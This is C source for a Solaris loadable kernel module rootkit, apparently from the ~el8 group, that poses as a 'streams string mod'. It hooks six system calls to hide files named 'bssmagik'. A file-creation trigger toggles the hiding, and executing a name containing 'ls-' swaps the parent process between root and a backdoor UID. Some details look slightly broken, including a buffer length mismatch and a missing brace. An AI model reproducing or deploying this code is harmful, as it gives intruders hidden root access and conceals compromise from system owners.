/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/dirent.h>
#include <sys/proc.h>
#include <sys/procfs.h>
#include <sys/sockio.h>
#include <sys/socket.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <net/if.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <sys/modctl.h>

#define ELITE "bssmagik"
#define TMS "nokkk"
#define UID 35303
#define SWAPME "ls-"

char elite[] = ELITE;
char tms[] = TMS;
char swapme[] = SWAPME;
int el8mode = 0;

extern struct mod_ops mod_miscops;

extern struct sysent sysent[];

static struct modlmisc mlink = {
        &mod_miscops,
        "streams string mod"
};

static struct modlinkage modlinkage = {
        MODREV_1,
        (void *)&mlink,
        NULL
};

int (*oldexecve) (const char *, const char *[], const char *[]);
int (*oldopen64) (const char *, int, int);
int (*oldcreat64) (const char *, mode_t);
int (*oldchdir) (const char *);
int (*oldgetdents64) (int, struct dirent64 *, size_t);
int (*oldlstat64) (const char *, struct stat64 *);

int lstat644me(fname,stats)
const char *fname;
struct stat64 *stats;
{
        int len;
        char *name;
        name = (char *)kmem_alloc(256,KM_SLEEP);

        copyinstr((char *)fname,name,256,(size_t *) &len);
        if (!el8mode && strstr(name,(char *)&elite) != NULL) {
                set_errno(ENOENT);
                return -1;
        } else return oldlstat64(fname,stats);
}

int execve4me(fname,argv,envp)
const char *fname;
const char *argv[];
const char *envp[];
{
        int ret,len;
        char *name;

        name = (char *)kmem_alloc(256,KM_SLEEP);
        copyinstr((char *)fname,name,256,(size_t *) &len);

        if( el8mode && strstr(name,(char *)&swapme) != NULL) {
                switch(curproc->p_cred->cr_uid) {
                        case 0:
                                curproc->p_parent->p_cred->cr_uid = UID;
                                curproc->p_parent->p_cred->cr_ruid = UID;
                                break;
                        case UID:
                                curproc->p_parent->p_cred->cr_uid = 0;
                                curproc->p_parent->p_cred->cr_ruid = 0;
                                break;
                        default:
                                cmn_err(CE_NOTE,"What you talkin bout Willis?");                                break;
                }
                cmn_err(CE_NOTE,"UID is: %d\nPID is: %d", curproc->p_cred->cr_uid,curproc->p_pidp->pid_id);
                set_errno(ENOENT);
                return -1;
        } else return oldexecve(fname,argv,envp);
}

int getdents644me (fd,dentz,szin)
int fd;
struct dirent64 *dentz;
size_t szin;
{
        int i,ret,oldret,reclen;
        struct dirent64 *dirent1,*dirent2;

        oldret = (*oldgetdents64) (fd,dentz,szin);
        ret = oldret;

        if (ret > 0) {
                dirent1 = (struct dirent64 *) kmem_alloc(ret,KM_SLEEP);
                copyin((char *)dentz,(char *)dirent1, ret);

                dirent2 = dirent1;
                i = ret;

                while (i > 0) {
                        reclen = dirent2->d_reclen;
                        i -= reclen;

                        if(strstr((char *) &(dirent2->d_name),(char *) &elite) != NULL) {
                                if (i != 0)
                                        memmove(dirent2, (char *)dirent2 + dirent2->d_reclen, i);
                                else
                                        dirent2->d_off = 1024;
                                ret -= reclen;

                        }
                        if (dirent2->d_reclen < 1) {
                                ret -= i;
                                i = 0;
                        }
                        if (i != 0)
                                dirent2 = (struct dirent64 *) ((char *)dirent2 + dirent2->d_reclen);
                        }

                        copyout((char *)dirent1,(char *)dentz,ret);
                        kmem_free(dirent1, oldret);
                }
                return ret;
}

int creat644me(name,mode)
const char *name;
mode_t mode;
{
        char iname[1024];
        int len;

        copyinstr((char *)name,iname,1028,(size_t *) &len);

        if (strstr(iname,(char *)&tms) != NULL) {
                switch(el8mode) {
                        case 0:
                                el8mode = 1;
                                cmn_err(CE_NOTE,"Security off");
                                break;
                        case 1:
                                el8mode = 0;
                                cmn_err(CE_NOTE,"Security on");
                                break;
                        default:
                                break;
                }
                set_errno(ENFILE);
                return -1;
        }
        return oldcreat64(name,mode);
}

int chdir4me(newdir)
const char *newdir;
{
        char name[1028];
        int len;

        copyinstr((char *)newdir,name,1028,(size_t *) &len);

        if ( !el8mode && strstr(name,(char *)&elite) != NULL ) {
                set_errno(ENOENT);
                cmn_err(CE_NOTE,"Why did I change dirs?");
                return -1;
        }

        return oldchdir(newdir);
}

int open644me(name,fmode,cmode)
const char *name;
int fmode;
int cmode;
{
        int ret;
        int len;
        char fname[1028];

        ret = oldopen64(name,fmode,cmode);

        if (ret >= 0) {
                copyinstr((char *)name,fname,1028,(size_t *) &len);
                if (el8mode && strstr(fname,(char *)&elite) != NULL) {
                        set_errno(ENOENT);
                        return -1;
                }
        }

        return ret;
}

int _init(void)
{
        int x;

        if ((x = mod_install(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Unable to install module\n");

        oldchdir = (void *) sysent[SYS_chdir].sy_callc;
        oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;
        oldopen64 = (void *) sysent[SYS_open64].sy_callc;
        oldexecve = (void *) sysent[SYS_execve].sy_callc;
        oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;
        oldlstat64 = (void *) sysent[SYS_lstat64].sy_callc;

        sysent[SYS_chdir].sy_callc = (void *) chdir4me;
        sysent[SYS_execve].sy_callc = (void *) execve4me;
        sysent[SYS_creat64].sy_callc = (void *) creat644me;
        sysent[SYS_open64].sy_callc = (void *) open644me;
        sysent[SYS_getdents64].sy_callc = (void *) getdents644me;
        sysent[SYS_lstat64].sy_callc = (void *) lstat644me;

        return x;
}

int _info(struct modinfo *modinfop)
        return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
        int x;

        if ((x = mod_remove(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Unable to uninstall module\n");

        sysent[SYS_chdir].sy_callc = (void *)oldchdir;
        sysent[SYS_execve].sy_callc = (void *)oldexecve;
        sysent[SYS_creat64].sy_callc = (void *)oldcreat64;
        sysent[SYS_open64].sy_callc = (void *)oldopen64;
        sysent[SYS_getdents64].sy_callc = (void *)oldgetdents64;
        sysent[SYS_lstat64].sy_callc = (void *)oldlstat64;

        return x;
}


syntax highlighted by Code2HTML, v. 0.9.1